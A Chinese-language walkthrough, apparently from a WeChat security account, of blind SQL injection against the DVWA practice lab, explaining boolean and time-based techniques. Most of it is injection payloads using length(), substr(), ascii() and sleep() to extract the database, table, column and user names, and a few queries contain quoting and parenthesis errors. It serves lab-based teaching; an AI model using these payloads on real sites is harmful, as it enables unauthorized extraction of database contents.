盲注和普通SQL注入的区别是前端页面没有错误信息的回显,输出的是服务器所设置的特定信息,除此之外注入过程与普通SQL注入是一样的。当我们在注入的时候没有服务器返回的错误信息会造成两个问题:如何判断SQL语句是否执行?如何知道所查询的数据是什么?
在学习没有错误信息回显的情况下如何判断语句的是否执行之前我们需要了解盲注的分类。盲注一般分为三种,基于布尔的盲注,基于时间的盲注和基于报错的盲注。因为对基于报错的盲注不太熟悉,所以本文我们只讨论常见的两种:布尔盲注和时间盲注。
大家知道布尔值有两种分别是0和1,布尔盲注就是说当语句被数据库正确执行(即布尔值为1)和当数据库语句报错(即布尔值为0)的时候,页面有两种不同的回显。我们通过回显的不同来判断语句是否被执行。
第二种是时间盲注,也被叫做延时注入,原理是向服务器提交对时间敏感SQL语句中的函数,例如sleep(),通过执行时间的长短来判断是否执行成功。
获得查询的信息我们可以通过一些函数来进行猜解。通过length()来判断数据的长度,通过substr()和ascii()来对查询的数据逐个字符进行猜解,最后来拼凑出完整的数据信息。
1' and length(database())=1 #
# 如果语句正确执行则数据库名称的长度为1
1' and ascii(substr(database(),1,1))>97 #
# 如果正确执行则数据库名称的第一个字符的ASCII值大于97
用户输入id进行查询后会返回两种情况,存在是exists,不存在是MISSING,所以我们使用布尔盲注进行注入。
1' and 1=1
1' and length(database())=4
1' and ascii(substr(database(),1,1))>97 #
1' and ascii(substr(database(),1,1))<122 #
1' and ascii(substr(database(),1,1))=100
1' and ascii(substr(database(),2,1))=118
1' and ascii(substr(database(),3,1))=119
1' and ascii(substr(database(),4,1))=97
判断当前数据库下的所有表的名称
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #
# 判断当前数据库下有两个表
1’ and length(substr((select table_name from information_schema.tables where table_name=’dvwa’ limit 0,1) ,1))=9 #
# 判断第一个表的长度为9
1’ and length(substr((select table_name from information_schema.tables where table_name=’dvwa’ limit 0,1) ,2))=5 #
# 判断第二个表的长度为5
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’limit 0,1),1))=103 #
# 依次判断出第一个和第二个表的名称分别为guestbook,users
猜解数据库下的列名
依次为:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login
1’ and (select count(column_name)from information_schema.columns where table_name=‘users’)=8 #
# users表下有八个字段
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7 #
# 依次判断出字段的长度
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=117 #
# 依次判断出字段的名称
猜解用户名信息
1’ and (ascii(substr((select user from users limit 0,1),1,1)))=97 #
1’ and (ascii(substr((select user from users limit 0,1),2,1)))=100 #
# 依次判断出用户名的信息为admin
同时也可以使用时间盲注
1' and if(length(database()=4), sleep(5), 1)
当语句成功执行时网页会睡眠五秒种,大家可以按照这个例子将布尔盲注的payload修改后进行测试。在平时的测试中由于时间盲注要等待几秒钟来判断,所以优先考虑布尔盲注。
中级难度下和靶场中SQL注入中级下的一样都是改为了数字型,注入方式改为post注入,可以通过Burpsuite抓包后进行注入。
1 and length(database())=4 #
高级难度下也是和SQL注入高级下一致,增加了limit语句限制查询数量,通过注释符号注释掉即可完成查询。注入代码和low等级下的一样。但是要注意服务器在失败后会随机睡眠2到4秒,如果使用时间盲注需要大于5秒才可以判断出来,所以推荐使用布尔盲注进行注入。
原文始发于微信公众号(仙友道):DVWA | 盲注
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论